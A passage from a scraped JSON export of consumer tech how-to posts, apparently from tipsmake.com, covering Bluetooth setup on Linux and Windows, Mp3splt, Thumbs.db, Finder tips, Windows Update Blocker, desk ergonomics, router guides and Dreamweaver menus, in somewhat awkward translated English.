worry. You'll just need to search for bluez in your package manager, then install everything including the word bluez.\nHow to install Blueman Learn how to install Blueman on various Linux distributions below.\nDebian sudo apt-get install blueman OpenSUSE sudo zypper install blueman Fedora sudo dnf install blueman Arch Linux sudo pacman -S blueman Other distributions To install Blueman on Linux distributions you should search for a package manager in the distribution being used for Blueman and then install all related packages.\nActivate Bluetooth Once installed, you will need to enable and start the Bluetooth service. If you are using a Bluetooth dongle, you will have to run the following command first:\nmdprobe btusb To enable the Bluetooth service, run the following command:\nsudo systemctl enable bluetooth.service To start the Bluetooth service, use the following command:\nsudo systemctl start bluetooth.service After you do this, you should be able to start using Bluetooth on your system.\nConnect to the device using Blueman The connection process will be different depending on the desktop manager you are using. However, the article will show how to do it using Blueman as it represents the process all over.\nTo connect to a device, open Bluetooth Manager in the app and tap search. Make sure the device you want to connect to can be detected. When you see the device in the list, right-click it and press Connect. You may need to enter a passcode (this information will be included in your device's user guide).\n  Bluetooth settings ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquVqXq2vIybo66dpKS8tbSMoqVmpJmjwrk%3D\n","link":"/post/how-to-set-up-bluetooth-in-linux/","section":"post","tags":null,"title":"How to set up Bluetooth in Linux"},{"body":"You have many options if you want to transfer files between different devices. You can use traditional connection cables, you can use cloud storage to synchronize your files between devices, but this depends on your internet connection.\nFor most users, the best option to transfer files locally from devices such as smartphones or digital cameras to your PC is using Bluetooth. You can transfer files via Bluetooth on Windows by following these instructions.\nHow to turn on Bluetooth in Windows 10 Before you can send a file to a Windows computer using Bluetooth, you will need to first turn on Bluetooth to allow it to connect to the PC.\nTo do this, you will need to access the Bluetooth settings menu. Start by right-clicking on the Windows Start menu and clicking Settings.\n In the Settings menu, click Device\u0026gt; Bluetooth to access your Bluetooth settings. To turn on Bluetooth, click on the slider beside the Bluetooth option. You will know that Bluetooth is turned on because the word On will appear next to the slider after Bluetooth is turned on.\n You need to allow Bluetooth devices to find your PC. To do this, click on the other Bluetooth Options option in the Related Settings section on the right.\n In the Options tab, click to turn on the checkbox next to Allow Bluetooth devices to find this PC.\nYou may want to quickly access your Bluetooth devices and settings from the Bluetooth taskbar icon, but this may not be enabled by default. To enable this feature, click the box next to the Show Bluetooth icon in the notification area, located under the Options tab of the Bluetooth Settings window.\nClick OK to save.\n With these settings enabled, you can now transfer files via Bluetooth from other devices. This process will vary, depending on the type of device you use.\nPair Bluetooth devices on Windows Before you can send files to a Windows PC using Bluetooth, you'll need to pair your devices. This creates a secure connection between your PC and a Bluetooth capable device, allowing you to send and receive files.\n To pair a device on Windows, open the Bluetooth settings menu (Settings\u0026gt; Devices\u0026gt; Bluetooth) and press the Add Bluetooth button or other device at the top.\nIn the Add device menu, press Bluetooth. Make sure Bluetooth is turned on and discoverable on your other device.\n Windows will scan for nearby devices. When the device locates your device, click on the device to start connecting. Windows will provide an authentication PIN, which you may be asked to enter into your other device to ensure the connection is successful.\n When the connection is made and your devices are paired successfully, you will see Your Device is ready to send messages in the Add Device window.\nTransfer files via Bluetooth to a Windows PC You can send and receive files to a Windows PC after turning on Bluetooth, your PC will be detected by other people and if you were able to successfully pair your Bluetooth device to the PC.\n To send the file to your PC, find the Bluetooth icon in the notification area on your taskbar. Right-click the icon, then click the Get File option.\nWindows will be ready to receive the file. You will see the message Waiting to connect in the Bluetooth File Transfer window.\n You can now send the file to your PC if the device you are sending has Bluetooth connectivity. This process will take some time depending on your platform.\n There are many ways to transfer files via Bluetooth from Android to PC. However, most Android file management or file management apps will have a Share button, with different methods listed for sharing your files. Select your file in the application you selected, click Share, then select the Bluetooth option to start the file transfer process.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqyilru0ssSrZJ%2BhnJrAbrLRqKRmsZ%2Bqv268x6ilnmWkpHqiec%2BcZK%2BhkWKvrcHEraaorJhisLC6zZ6araGfow%3D%3D\n","link":"/post/how-to-transfer-files-from-your-phone-to-a-pc-via-bluetooth-connection/","section":"post","tags":null,"title":"How to transfer files from your phone to a PC via Bluetooth connection"},{"body":"If you are a person who often has to work with audio files, or simply edit an mp3 music file, you will need to use specialized software. Online tools or software for editing audio files are pretty much available, among them Mp3splt software.\nMp3splt is responsible for helping users cut, split mp3 music files into other small audio files. Manipulating audio files with Mp3splt is relatively simple and does not need to perform many steps or need support programs. In addition, Mp3splt also supports Windows, Mac and Linnux operating systems\nStep 1: First, download Mp3splt software under the link below:\nDownload Mp3splt software Step 2: We start the .exe Mp3splt file in the computer. Click Next to proceed to install the program.\n  Step 3: Terms of program use appear. Click I Agree to agree and continue installation.\n  Step 4: Next, we click Next . Then, you can select the Mp3splt file storage folder on your computer, when you click Browse. Click Install to run the program.\n  Step 5: We wait for the installation process to succeed and click Next .\n  Finally click Finish to finish the Mp3splt installation process and you can immediately use Mp3splt tool on your device.\n  Step 6: The interface of Mp3splt program will be as below:\n  Step 7: At that interface, click File then select Open single file to open the file you want to cut which is available on your computer.\n  Step 8: Choose File interface appears. Here, go to the folder containing the audio file to be cut on the left. On the right click the audio file and OK to open the file.\nMp3splt supports editing audio files in .mp3, .ogg and .flac formats.\n  Step 9: When running the audio file, click the Play blue triangle icon to open the audio file, followed by a minute segment for the audio file. We can rely on this to select the time frame of the MP3 file to be cut.\n  Also at the frame that runs the file, the reader chooses the time to form the beginning of the cut when pressing the lever and then clicking Add below. Move the next lever to select the end of the cut and also press Add .\nTo check if the cut sound track is correct, move the small red bar to the beginning of the cut.\n  Step 10: Once you have selected the beginning and the end of the cut, click Split above to proceed with the cut.\n  The audio file after cutting will appear right on the screen so we can easily find the file.\n  So, you have finished cutting, dividing the audio file into small files with Mp3splt software already. Operation is quite fast and there is no need to edit much, the output file after cutting is also easy to find. If you need to find a simple, easy-to-use audio file cutter software, Mp3splt is a pretty good idea.\nRefer to the following articles: How to convert YouTube videos to MP3 without software How to create subtitles for videos? How to convert WMV video tail to MP4? I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWabpanBqrrGZpiunJmkeqe1y56qZq%2BZqbVuuc9sqqmkpGLAsLLTsJirnQ%3D%3D\n","link":"/post/instructions-for-cutting-audio-files-with-mp3splt-software/","section":"post","tags":null,"title":"Instructions for cutting audio files with Mp3splt software"},{"body":"Windows has an annoying thing about displaying folder thumbnails even though you might not want to display thumbnails on some folders (like My Pictures). For me, I like to view My Pictures folder in List or Details mode and subfolders of My Pictures in thumbnail mode. The real annoying thing is that even if you go to Tools \u0026gt; Options \u0026gt; View and click \" Apply to All Folders \", Windows will still return to the thumbnail view. This problem occurs because Windows displays a folder in thumbnail mode if it finds the THUMBS.DB file in that folder. THUMBS.DB is a cache file basically used by Windows to store folder display (containing photos or videos) for the next opening, the thumbnails displayed will be loaded faster so you don't have to wait long . However, with the slow speed of the current computer, it is completely not beneficial because it increasingly takes up more free space on the computer. Disable Thumbnail mode \n You can delete the thumbnail file at any time but then Windows will re-create it. To prevent this, you only have to disable the thumbnail mode in Folder Options or through editing the registry. In Explorer, go to Tools select Folder Options , go to the View tab\n  Uncheck the \" Do not cache thumbnails \" section and click OK . Windows will not automatically create the THUMBS.DB file in thumbnail view folders, which means you need to reset the view every time you need to see a thumbnail of a photo or video. Make sure you have deleted all previously created THUMBS.DB files. You still need to set the display of the folder manually: right-click the folder and select Properties . Click on Customize and select from the list (Documents, Pictures, Photo Album, Music, .)\n  Disable Thumbnail mode by editing the Registry Open the registry window (regedit.exe) from the Run command window and navigate to the following key: HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersion ExplorerAdvanced\nDouble-click the DisableThumbnailCache key in the right section and change its value to 1 . If this key is not displayed here, go to Edit \u0026gt; New \u0026gt; DWORD Value and create the DisableThumbnailCache key with a value of 1.\n  Close the Registry window and restart the computer for the changes to take effect.\nIf you have multiple folders containing images, disabling the thumbnail cache mode is reasonable because each image creates about 2KB of cache, which means that if the folder containing 1000 images will create a 2MB cache. .\nncG1vNJzZmismaXArq3KnmWcp51kvbOx1Z6lrWWTp7KiwMinnmasmKq6o7%2FDm2SfoZyaeqq6jLCgp5yfrMBuxM8%3D\n","link":"/post/prevent-creating-thumbs-db-file-in-windows-xp/","section":"post","tags":null,"title":"Prevent creating Thumbs.db file in Windows XP"},{"body":"The circle is one of the simple but very important drawings in the design because it gives a soft and flexible feel to the design product.\n  In the following article, TipsMake.com presents readers with beautiful and unique circular designs for graphic designers.\n  Beautiful round picture\n  Sample image of a circle\n  Circle for design\n  Nice circle for logo design\n  Nice circle for design\n  Nice circle\n  Beautiful circular pattern\n  Circle pattern\n  Circle template for design\n  Circle pattern pattern\n  Circle pattern\n  Beautiful circle pattern\n  Beautiful circular logo\n  Circular image template\n  Beautiful 3d circle pattern\n  3D circle pattern\n  Seven-color circular pattern\n  Circle pattern water symbol\n  Interwoven circle pattern\n  Full circle pattern\n  Beautiful circular pattern for design\n  Unique beautiful circular pattern\n  Beautiful circular pattern\n  Circle pattern unique and beautiful\n  Unique circle pattern\n  Simple and unique circle pattern\n  Simple circle pattern\n  Circle floral pattern with leaves\n  Circle floral pattern with leaves\n  Pattern of beautiful circular pattern\n  Pattern circle pattern\n  Floral circle pattern\n  Circle logo template\n  Simple multicolored circular pattern\n  Circle logo template\n  Template for circle design\n  Colored circle pattern\n  Circle logo template\n  Template for drawing circles\n  Vector circle pattern\n  Beautiful circular pattern pattern\n  Pattern circular pattern\n  The most beautiful circular frame template\n  Template of beautiful circular frame\n  Template circle frame\n  Circle logo template\n  Circle design template\n  Circle design template\n  Beautiful round decorative pattern\n  Decorative circular pattern\n  Beautiful circular design\nDo you like the circular patterns in this article? If you like them, please download and remember to visit TipsMake.com daily to update tips, technology guides, beautiful photos .!\nncG1vNJzZmismaXArq3KnmWcp51kwLa5zJqpsmWfm3q1tMRmpKirpGKvpq3UraCfrZxisKq%2Bwq6jmqpdpa61wMSrpaxllqS%2FbrDErKCgpg%3D%3D\n","link":"/post/summary-of-the-most-beautiful-circular-patterns-for-design/","section":"post","tags":null,"title":"Summary of the most beautiful circular patterns for design"},{"body":"There are a lot of things hidden in every Finder window. In this article, TipsMake will introduce you to some tips for using Finder on Mac to help you work more efficiently.\n1. Quickly adjust column widths Column view is the main Finder layout, which is also a favorite layout for working with files and folders. You can adjust the width of each column in the following two ways.\nIf you open a Finder window where the column width is a bit small, double-click the icon under the column dividers bar, the column width will automatically open to fit the longest file name.\n  Another way to adjust the column width is to manually hold the Option key (hold and drag the column divider). This will adjust the width of all columns at once in the window, and also select the default column size for all Finder windows in the future.\n2. Set the default folder for the New Finder window If you often work with a default folder, make it the default folder every time you open a new Finder window.\nClick on Preferences in the Finder menu bar, under the General tab you will see the 'New Finder windows show' drop-down menu. Select one of the options in the list or click Other… to choose another container.\n  3. Customize the toolbar (Toolbar) You can add a variety of options on the Finder toolbar for more convenient working.\nTo do this, right-click (or hold the Control key and then click) in the toolbar in Finder and choose Customize Toolbar . You will see a drop-down menu with a lot of selection buttons, you can click, drag and drop any button. is there on the toolbar. Alternatively, by default you can also drag and drop to replace any of the tools that were previously added.\n  4. Add shortcut to toolbar You can add a few shortcuts to the top of the Finder window to go to whatever application, file or folder you want. Operation is very simple, just hold down the Command key and drag what you want to add to the empty part of the toolbar.\n  5. Merge open Finder windows If you have too many Finder windows on your screen, you can quickly merge them into a single window. When a Finder window is active, click Window on the menu bar and choose Merge All Windows.\n  6. Show file or directory paths The whereabouts of a folder or file are sometimes not immediately obvious when viewed in a Finder window, here's how they appear.\n  The easiest way is to right-click (or hold Control and then click) on the folder name and icon in the title bar. This will show you the entire container, the path to that file or folder, in the drop-down menu, allowing you to find it faster.\n  Alternatively, you can make the path continuously visible under all Finder windows, choose View\u0026gt; Show Path Bar in the Finder menu bar. You can double-click any folder in the path bar to go directly to that folder in the open window or tab.\nIf you do not want the Path bar to take up an area in each Finder window, you can make it appear as default in the title bar. Open Terminal (in Applications\u0026gt; Utilities) and type the following command:\ndefaults write com.apple.finder _FXShowPosixPathInTitle -bool true; killall Finder If you do not want this path to appear in the title bar again, run the above command again but change true to false.\n7. Show the status bar Although disabled by default, the Finder status bar has two pieces of information that are useful for users to organize their files.\nIn the Finder menu bar, choose View\u0026gt; Show Status Bar, and in the blink of an eye you will see how many files are in an open folder as well as how much disk space is available.\n  8. Show the Library folder Apple hides the Library folder by default to prevent users from accidentally deleting or corrupting important system files, but if you are constantly visiting this folder for work, here are two ways to show up. Library folder.\nTo quickly access the Library folder from the Finder menu, press Go, hold down the Option key, and select Library in the drop-down menu.\n  If you want the Library folder to be displayed forever, go to the home folder (in / user / [yourname] /… from the root directory of the system), choose View\u0026gt; Show View Options from the menu bar, then check the Show Library Folder box. at the bottom of the page.\n9. Search only in current directory The search bar in every Finder window gives you system-wide search by default, but there's an option that helps you automatically limit your search to just open folders.\nGo to the menu bar, click Finder\u0026gt; Preferences and select the Advanced tab. In the drop-down menu labeled 'When performing a search', select Search the Current Folder.\n  10. Open full screen in Quick Look Most macOS users are familiar with the Quick Look in Finder, which is used to preview featured files, but very few people know that it also has a full-screen slideshow mode.\nYou can open this feature by holding Option + spacebar to activate Quick Look. The screen dims so that the photos and files you have selected are highlighted.\n  ncG1vNJzZmismaXArq3KnmWcp51kwbO1wqSqZp6fp3q2v8innmaemaOxpr6MqKVmpZGYeq670Z5knp6WmrC1tdWeo7I%3D\n","link":"/post/tricks-for-using-finder-on-mac-more-effectively/","section":"post","tags":null,"title":"Tricks for using Finder on Mac more effectively"},{"body":"Windows 10 offers less user interface control over the operating system's update behavior than previous versions of Windows. There is no option to turn off Windows Updates using the Control Panel or the Settings app in Windows 10. The operating system will automatically check for updates and install any updates, whether you want them to or not.\nThis new feature is actually quite convenient for most users. But if you want to control the update process, you can turn off the Windows Update service. This requires you to open Services Manager, locate the service, and then change its state and startup parameters. You will then have to re-enable the service whenever you want the operating system to check for updates.\nDownload Windows Update Blocker here.\n  What is Windows Update Blocker? Windows Update Blocker is a freeware that helps you to completely disable or enable automatic updates on your Windows system, with just one click. This utility is portable, which means you do not need to perform the installation process and no junk files remain on the hard drive after removal. If you put the program file on an external storage device, you can take Windows Update Blocker with you and use it on any computer you want. If you want to have everything properly configured and don't want to risk an update that might crash the system, this utility is for you.\nHow does Windows Update Blocker work? Once downloaded, extract Windows Update Blocker to the desired location, then run it.\n  The Service Status icon will show the Windows Update service status, if you want to block Automatic Windows Updates, select Disable Service and click the Apply Now button. Protect Service Settings can prevent uncontrolled changes (recommended).\nHow to block any service and protect settings Windows Update Blocker new version allows users to add any other service to Wub.ini file to block it, first edit Wub.ini file and add your desired service name under line 'dosvc=2,4' ', for example if you want to block 'Windows Update medic Service', open Services and find it…\n  … then click on service and copy Service Name.\n  Write or paste the service name under the dosvc=2,4 line.\n Add the service name under the line dosvc=2,4\nFinally, open Windows Update Blocker and use the Apply now button. If you want to remove the recently added service after some time, please follow these steps:\n1. Open Windows Update Blocker and select Enable Service option, then use Apply now button.\n2. Remove the desired service line from the Wub.ini file.\n3. Now you can select the Disable Service and Protect Service Settings options.\nService List Options Under the Menu button there is a Service List Options option. If you click on it, the Service List Options pop-up window will open. With this GUI, you can easily control the services added to the [Service_List] section of Wub.ini. You can add up to 25 services to Wub.ini. Service Wuausrv is displayed for informational purposes only so you cannot edit it.\n  NOTE: If Windows Update Blocker cannot manage some services, they may be corrupted, please use Windows Update Troubleshooter from Microsoft. If you don't follow the steps above and just delete any service from the Wub.ini file, the service state will still be protected.\nWindows Update Blocker supports command-line options to automate Windows Update Blocker tasks:\n  Supported operating systems Windows 11, Windows 10, Windows 8.1, Windows 8, Windows 7, Windows Vista, Windows XP (32/64-bit).\nSupported Languages English, Turkish, German, Hebrew, Slovenian, French, Russian, Portuguese, Italian, Polish, Spanish, Czech, Ukrainian, Dutch , Greek, Hungarian, Simplified Chinese, Traditional Chinese, Portuguese (Brazil), Thai, Arabic, Korean, Vietnamese, Japanese, Indonesian, Persian, Swedish, Thai, Georgian, Danish (Dansk), Albanian, Azerbaijani, Bulgarian, Serbian, Uzbek, Tajik, Abkhazian, Romanian, Slovak.\nncG1vNJzZmismaXArq3KnmWcp51kxKq6w6iurGWlpbGiwMRmmaWnk6Cys3mQb2Sdp6ejubCtw2auoqaUpMS0edSpm5qslWKvrbvCpJyrZZiav6Y%3D\n","link":"/post/windows-update-blocker-1-6-download-windows-update-blocker-here/","section":"post","tags":null,"title":"Windows Update Blocker 1.6 - Download Windows Update Blocker here"},{"body":"Spending hours sitting in front of a computer screen every day has an adverse effect on the human body. Our lower back muscles, neck, and eyes especially suffer. In the long term, this practice can lead to chronic pain.\u0026nbsp;\n  Here are 4 tips and tricks on how to mitigate the damage.\nChair And Computer Ergonomics\u0026nbsp; Positioning your computer screen and your chair rightly will aid in reducing the effects of sitting in front of the computer for long hours.\u0026nbsp;\nComputer A common mistake is tilting your computer monitor at an angle. Instead, your computer monitor should be positioned straight in front of you.\u0026nbsp;\nNext, when seated at your desk, the top of your computer should be slightly below your eye level. This specific height helps maintain a neutral neck position to prevent straining. This position also means you won't have to strain your eyes as much.\u0026nbsp;\nChair The best practice is to have a slightly reclined chair, between 100-110 degrees so that you're not sitting completely upright. You're more likely to be fatigued if you're sitting upright. According to the experts at ChairsFX you should look out for these features when you're picking out a chair for this purpose:\nA good neck and lower back support. An adjustable seat height. A wider and deeper seat than the average chair. Stretch Stretching your muscles loosens them up, so they're not as susceptible to pain. The best part is you don't even have to stand up.\u0026nbsp;\u0026nbsp;\nTry these exercises while you're still in your chair:\nChest Raise your arms straight in front of you until they touch at chest level. With your palms facing the ceiling, slowly move your arms towards the wall behind you by opening your chest.\u0026nbsp; Try to get your thumbs to touch behind you as this will force your body into a deeper stretch. Neck Dangle both arms at your sides, imagining there's a slight weight hanging down from your fingertips. Maintain the position of your arms with the imagined weights and slowly turn your head from side to side. Exhale as you move your head.\u0026nbsp; Computer Vision Syndrome\u0026nbsp; Reading from a digital screen is vastly different from reading a printed page.\u0026nbsp;\nThe letters are not as sharply defined, the contrast between the letters and the background is diminished and there are often reflections on the screen that makes reading difficult.\nComputer vision syndrome (CVS) isn't a particular eye defect, rather a range of eye problems caused by excessive computer use. The most common defects or symptoms are dry eyes, eye strain, blurred vision, headaches, and neck and shoulder pain.\u0026nbsp;\nHere are ways to manage CVS:\nChange the lighting around you to cut the glare. This could be light from a nearby window, so close the blinds, shades, or curtains. Or the problem could be a high voltage light bulb that needs to be dimmed or changed. Take further steps by adding a glare filter to your computer. Give your eyes a break by following the 20-20-20 rule. The rule says to look at something 20 feet away from your screen for 20 seconds every 20 minutes. Customize your computer screen settings by tweaking the brightness, contrast, and font size until you find what works.\u0026nbsp; Blink often to spread moisture and mucus across your eyes to prevent drying. If dryness persists consider using an eye drop.\u0026nbsp; If you wear glasses for reading, distance, or both, it doesn't mean you're off the hook. You still need a new prescription for looking at screens.\u0026nbsp; Exercise\u0026nbsp; Work your muscles every chance you get. Exercise will strengthen your muscles which will decrease the risk of fatigued muscles. Resistance training exercises are the best kind to aid in the prevention of sore, stiff muscles.\u0026nbsp;\nThe exercises you should incorporate in your workout are:\nDeadlifts Lower back extensions\u0026nbsp; Planks Crunches Sit-ups Single leg extensions\u0026nbsp; Pelvic lifts\u0026nbsp; Bicycle twists Cobra pose Downward facing dog   The digital age has its advantages, but it's equally not without its disadvantages. The need to be constantly present in front of a computer screen is detrimental. Short-term effects include slouching and neck pain, but the long-term effect is a more dire chronic pain. Stretching, correct posture, and the 20-20-20 rule are ways in which we can prevent this particular disadvantage of the digital age.\nncG1vNJzZmismaXArq3KnmWcp51kgW7AyKmqZpmemXq1vsicoqxllqS%2FbrzEqKelnV2otrXAyKeeZqGeYrOzu82tZKieXZZ6pLvMqaytnaJiwKS%2BxJ6lZpmcoXqlrdg%3D\n","link":"/post/4-tips-and-tricks-for-people-sitting-in-front-of-a-computer-screen-all-day/","section":"post","tags":null,"title":"4 Tips And Tricks For People Sitting In Front Of A Computer Screen All Day"},{"body":"Steps to reset WiFi modemThe reset process will restore the modem to its factory default settings. This will also remove any custom settings you may have changed, including setting up static IP addresses,\n 2 ways to set up TP-Link WiFi 6 . routerHere is the most complete guide on how to set up any TP-Link WiFi 6 router so you can start using your network as quickly as possible.\n How to configure PPPoE connection on TP-Link WiFi 6 routerDo you have a PPPoE Internet connection and TP-Link router with WiFi 6 that needs setup? Do you want your router to properly connect to the Internet and share it with your entire\n How to access Linksys Smart WiFi through a web browserLinksys Smart WiFi is accessible via web browsers in Windows, Mac and iPad. Another option is to access it via a mobile device through the Linksys app.\n How to use PuTTY on Cisco routers and switchesPuTTY, an open source, is an application protocol for transferring files over the network. It supports protocols like Telnet, SSH, SCP, rlogin, etc ... Initially, Putty was\n How to login to TP-Link's Wireless Access Point management pageThe web based management page is a built-in internal web server that does not require Internet access. However, it does require your device to be connected to a TP-Link device.\n How to configure Xiaomi 3C WiFi router to be repeaterIf you are facing WiFi signal range problem indoors and office areas, the range of the main WiFi router is low. You can increase the WiFi range by using Mi 3C's Repeater mode\n How to configure the MikroTik routerIf you are familiar with these routers, you probably know that they are built using the MikroTik RouterBOARD hardware platform, powered by MikroTik RouterOS operating system - but,\n How to connect a Linksys router to another routerCascading is a term used when connecting one router to another. In this case, the first router could be Linksys or another provider and is called the primary router. The second\n Set up the Linksys router with a static IP addressA static IP address is a fixed IP address configured in the settings of your computer or router. Some Internet Service Providers (ISP) require you to enter a static IP address on\n How to use the backup and restore feature in the Linksys routerIn the case when you need to reset the router to factory default settings, you will be able to restore the previous configuration with a backup configuration file. To backup and\n How to replace WiFi antenna on wireless routerWhen the router is installed in the center of a house and wireless clients are distributed throughout the rooms, a omnidirectional antenna will transmit signals to all corners of\n How to turn on the router's built-in firewallA firewall is a powerful defense system against hackers and cyber criminals. The following article will look at exactly what a firewall is; Why do you want to use it; how to find,\n How to reset the Linksys router to its factory default settingsWhen you reset the router, the settings will be reset to factory defaults. All custom router settings (WiFi name (SSID), wireless security, etc.) will be deleted.\n How to switch Linksys router to Bridge modeSetting the Linksys router to bridge mode will disable all router capabilities and turn it into an access point. The router will cease to function as a DHCP server and the built-in\n How to turn a PC into a router blocking adsAds are everywhere on the Internet and sometimes, making it difficult to enjoy content on the site you want to read. Connectify Hotspot's universal ad blocker will help you solve\n How to connect the DSL modem to the D-Link routerYou can connect the DSL modem to the D-Link router using an Ethernet cable, then enter the DSL username and password.\n How to turn an old router into a switchHow to configure the router as a switch? Most likely you will ask this question if you are planning to expand your home network, but only have an Ethernet router, not a switch.\n How to configure TP-Link router to Access PointThis article will explain how to use the TP-Link N router as an access point. The main router will be connected to the TP-Link N router via the LAN port. WAN port is not used for\n How to set up and configure DDNS on Netgear routerThis guide will help you set up and configure Dynamic DNS (DDNS) on Netgear router. Using the Dynamic DNS built into the router means you don't have to keep the computer running\nncG1vNJzZmismaXArq3KnmWcp51ksHCvzqedop%2Blp7Juvs6uq56qXajEqsDCoWY%3D\n","link":"/post/configure-router-switch-tipsmake-com/","section":"post","tags":null,"title":"Configure Router Switch - tipsmake.com"},{"body":"In Part 2, you will learn how to insert multimedia content such as photos (with effects when moving mouse cursor), flash clips, video clips.Also guide using SothinkDHTMLMenu software (integrated into Adobe Dreamweaver) to create dynamic menus .\nLink refer to part 1 of the article about how to design a website with Adobe Dreamweaver 7. Insert images into the website\n- Insert still images\nBefore you want to insert images into the web page, you should copy all the images you need to insert into the Image folder of the web. The selection of images to insert into the website must also pay attention to the number and size of the image because if inserted too much or the image is too large, the site will have a large amount of use, the download will be slower. To insert images into a web page, do the following: go to Insert , select Image and navigate to the image you want to insert.\nAfter inserting the image into the web page, proceed to set the properties for the newly inserted image in the Properties pane (Figure 8).\n  Figure 8. Properties of the image\n- Create Rollover Images.\nRollover Images is an image that will change when the cursor goes over it. When creating Rollover Images , the two images must be the same size. If two images are of equal size, Dreamweaver will fix them equally.\nFirst you place the cursor where you want to insert. Then select Insert \u0026gt; Image objects \u0026gt; Rollover Image .\nThe Insert Image Rollover dialog box appears, setting the following content:\n  Figure 9. Create animation effect when moving mouse cursor\n- Image name: Name the Image.\n- Original image : Click the Browse button to specify the first image to appear.\n- Rollover Images : Click the Browse button to specify the image will change when moving the mouse over it.\n- When Clicked, Go to URL : Click the Browse button to indicate the web page to link to when clicking on it.\nSelect OK to complete (Figure 9).\n- Insert flash animations, video clips into web pages.\nGo to Insert \u0026gt; media \u0026gt; choose SWF or FLV according to the file format to insert. Then browse to the Flash File or Video File and click OK.\n  Figure 10. Insert multimedia file\n8. Create a menu for the website.\nMenu is an indispensable part for every website. It is a place to link discrete pages of webs together into one system. Creating a beautiful and professional menu is the desire of many web designers.\nFor Dreamweaver web design software, there is an integrated tool that supports creating very professional menus, SothinkDHTMLMenu . You can use that software to design menus for your website.\nSothinkDHTMLMenu is provided with a trial version at http://www.sothink.com/product/dhtmlmenu. After successfully installing SothinkDHTMLMenu software, on the menu of Adobe Dreamweaver, there will be Sothink menu and with this menu you will create a polished menu for your website (Figure 11).\n  Figure 11. Start DHTML Menu\nFirst open the website to create a menu using Adobe Dreamweaver software, place the cursor at the position where you need to insert the menu, select Sothink menu, in the pop- up panel select DHTML Menu (or press Alt + Shift + D). Note, you must save the website before proceeding to create the menu.\nIn the opening window of SothinkDHTMLMenu , select Blank Menu for new design, From Template if you want to select an available menu type. In the Menu Tree window (the menu is located on the left), you can perform operations such as cut, paste, . themes, categories for the menu through the buttons on the toolbar.\nThe entire design process in SothinkDHTMLMenu is done mainly by the feature framework: Popup Menu, Menu Item . In addition, during the design process, you can learn more about the window: Scrolling and Global Setting (Figure 12).\n    Figure 12. Design tasks\n- Frame Menu Item:\nThis window allows you to format each theme, each item in the menu (Figure 13). In this window, you can adjust the following items:\n  Figure 13. Menu properties\n+ Select the General tab to enter items for the menu.\n+ Select Text to enter the topic name.\n+ Select HTML entry to enter formatted topic name in HTML tag pairs.\n+ To insert image into menu, select Image , specify image from command button.\n+ Align the position of content display on menu items with Align (left, right, center) or Valign (top, middle, bottom).\n+ Set the link for menu items via Link section.\nAlso in the Menu Item window you can also format fonts, text colors, background colors, backgrounds, frames, styles for menus in the corresponding labels of the Menu Item window as Font , Icon , Background , Border , Condition , Style , Advanced .\n- Popup Menu Frame\n  Figure 14. Popup Menu window\nAfter creating the menu, this window will help us design colors, menu display styles . and it is important that you can create special effects for the menu (Figure 14).\nThe steps are as follows:\nIn the Popup Menu 's Genaral tab, select Horizontally in the Display frame to display the horizontal menu or select Vertically for the vertical menu style (Figure 15).\n  Figure 15. Select the display type\nNext select the Background label, in the Bg color section, press the button and select the background color for the menu from the palette, and if you want the menu to have a transparent background, then click the Transparent check box . You can also select the background image of the menu by pressing the button in Bg image (Figure 16).\n  Figure 16. Select background color or wallpaper\nTo set the background color for the menu, select the Border tab , click the arrow button on the button to set the color for each side of the Menu. In the Effects label from the Popup Menu window, you will set the effect for the menu (Figure 17). The effects in the item are as follows:\n  Figure 17. Select effect\n+ Menu shadow: You can shade the menu by selecting Simple or Complex from the submenu of Drop shadow, choose the outline, the thickness for the shadow and the color for the shadow.\n+ Effect menu display (Effects for showing): click select menu and select a special effect from the list.\n+ Special effect to hide menu (Effect for Hiding): click to select arrow, select effect to hide menu.\n+ Effect Speed: Enter the value in the text box to set the display speed for the menu effect.\n- Scrolling frame\nIf there are too many submenus in the menu, you can make the submenus scroll by customizing in the Scrolling window when there is not enough space on the screen to display all of them (Figure 18).\n  Figure 18. Customize the scroll bar style\n+ Customize the style for the horizontal scroll bar (Horizontal Popup Menus) or vertical (Vertical Popup Menus).\n+ Check Enable Scrolling.\nAfter you have completed the settings for the menu, select the Save and close command to complete the task. SothinkDHTMLMenu will automatically put the menu you just created into your website without having to work with the code anymore. However, SothinkDHTMLMenu has a disadvantage of having Vietnamese Unicode font error when running the menu on the browser and the files created by the program are many and located in the same folder as the web file that has just been created. makes the design not scientific. But these two errors can still be easily overcome by working with the code.\nFirst, you can fix the font error by entering the code generated by the program in Dreamweaver to find the wrong font and correct it. Next, to fix the files created by SothinkDHTMLMenu located ' disorderly ' in the folder containing the website you create a new folder in the folder containing the web page (Menu folder for example), next copy All files that SothinkDHTMLMenu creates into this new folder. Then go to the code editor window and add the ' menu ' section to the previous tutorials (the old paths are the names of the files created by SothinkDHTMLMenu).\n9. Create links for websites.\nA website is designed not only to contain information on the internal site, but it must also be linked to many other websites for richer content. It is possible to create links from an image to a web page or from a text depending on the preferences of the designer. The steps are as follows:\n- Insert images or enter text to create links.\n- Click to select picture or select the text to create link.\nEnter in the Link box in the Properties box the address of the website to link to.\n  Figure 19. Link address attribute\nPlease note that the website link to the link should contain the full name of the website. For example, the link to the Quantum page should enter the correct address https://quantrimang.com.\nncG1vNJzZmismaXArq3KnmWcp51ksaa%2FyKClZq%2BVl8CqwMRmrqKsmGKupbvBnmSdqpWWurixwK%2Bcq2WTqIJuv86fq7CZopp6sa3RrWRr\n","link":"/post/design-website-with-adobe-dreamweaver-cs5-software/","section":"post","tags":null,"title":"Design website with Adobe Dreamweaver CS5 software"},{"body":"Not yet officially released but the Finnish phone company's mini computer has been introduced and tested in some places .\n  This laptop is made of a very durable aluminum material that is also used to produce Apple MacBook computers. A little more than 2 cm thick, weighing more than 1 kg, included a 16-cell battery (12-hour operation allowed).\nThe keyboard is quite easy to use, there are many similarities with the Toshiba NB205 or MacBook with the design of long distance keys. Booklet 3G has an HDMI port on the left side but because of the 1.6 GHz Intel Atom Z530 chip with the ability to support maximum video processing of 720p, it is difficult to meet the 1080p level. It has a 120 GB hard drive, running Windows 7 Home Premium operating system instead of Starter Edition as most other manufacturers apply to netbooks. Among the highlights of Booklet 3G is the integration of Nokia Ovi service, GPS navigation system, flexible sim card slot. When you can't find a Wi-Fi connection point, users can simply put the SIM into the right slot of the camera body while the device is 